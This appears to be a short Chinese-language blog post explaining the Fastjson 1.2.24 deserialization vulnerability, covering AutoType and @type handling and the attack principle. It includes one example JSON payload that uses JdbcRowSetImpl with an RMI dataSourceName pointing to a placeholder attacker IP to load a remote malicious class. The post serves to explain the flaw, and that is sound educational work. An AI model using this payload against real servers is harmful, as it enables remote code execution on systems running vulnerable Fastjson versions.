当前位置: 首页 > news >正文

fastjson漏洞

fastjson漏洞

  • fastjson工作原理
  • 攻击原理
    • 补充
  • 例子

fastjson工作原理

fastjson的作用是将JAVA对象转换成对应的json表示形式,也可以反过来将json转化为对应的Java对象。fastjson使用AutoType功能进行反序列化,AutoType使用==@type==标记字符的原始类型,在反序列话时会读取@type以此把内容反序列化到对象,在上述过程中会调用到库中的setter和getter方法

攻击原理

攻击者传入一个恶意构造的json内容,程序对其反序列话后得到恶意类并执行了恶意类中的恶意函数,进而促使恶意代码执行
合理构造一个JSON使用@type指定一个想要攻击的类库就可以实现攻击

补充

仅影响Fastjson1.2.24及之前版本

例子


{
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://攻击者的IP地址/恶意类",
    "autoCommit": true
  }
  • JSON 数据包:这里展示的 JSON 数据包包含一个名为 b 的对象,其中有一个 @type 字段,指定了这个对象的类型为
    com.sun.rowset.JdbcRowSetImpl。这是一种 Java 对象类型。
  • 恶意数据:在 dataSourceName 字段中,提供了一个远程方法调用 (RMI) 的 URL,指向攻击者的 IP
    地址和他们控制的恶意类。这意味着 Fastjson 会尝试从这个远程地址加载并执行恶意类。
  • 自动提交:autoCommit 字段被设置为 true,表明在反序列化后自动执行某些操作。

相关文章:

  • 百度SEO关键词布局从堆砌到场景化的转型指南
  • rv1126交叉编译opencv+ffmpeg+x264
  • 【从零开始学习计算机科学】数字逻辑(七)触发器(FF)
  • RangeError: Radix must be an integer between 2 and 36
  • 生物信息学工作流(Bioinformatics Workflow):概念、历史、现状与展望?
  • ftp、sftp、tftp的区别
  • 【MySQL】第四章:数据类型
  • 【银河麒麟高级服务器操作系统实例】虚拟机桥接网络问题分析及处理
  • Biopython的基本使用步骤详解
  • qt creator示例空白
  • EasyRTC嵌入式音视频通话SDK:基于ICE与STUN/TURN的实时音视频通信解决方案
  • 操作系统 2.6-操作系统的初步实现
  • 【原创】springboot+vue核酸检测管理系统设计与实现
  • Kubernetes中的 iptables 规则介绍
  • educoder平台课-Python程序设计-2.数值类型与常用运算
  • 联合索引关于In和范围查询影响索引使用的情况分析
  • 解决开启Fiddle后,网页显示你的连接不是专用/私密连接
  • 使用服务器搭建无门槛ChatGPT WEB应用LobeChat
  • ​网络变压器的主要电性参数与测试方法(3)
  • 智慧消防新篇章:4G液位/压力传感器,筑牢安全防线!
  • 国企网站的建设/北京网站优化专家
  • 海外营销网站设计/国家市场监管总局
  • 网站建设 ur建站/苏州seo快速优化
  • 专业层析成像代做网站/免费舆情网站下载大全最新版
  • 网站seo文章该怎么写/自动优化app
  • 电商推广方法有哪些/苏州seo网站系统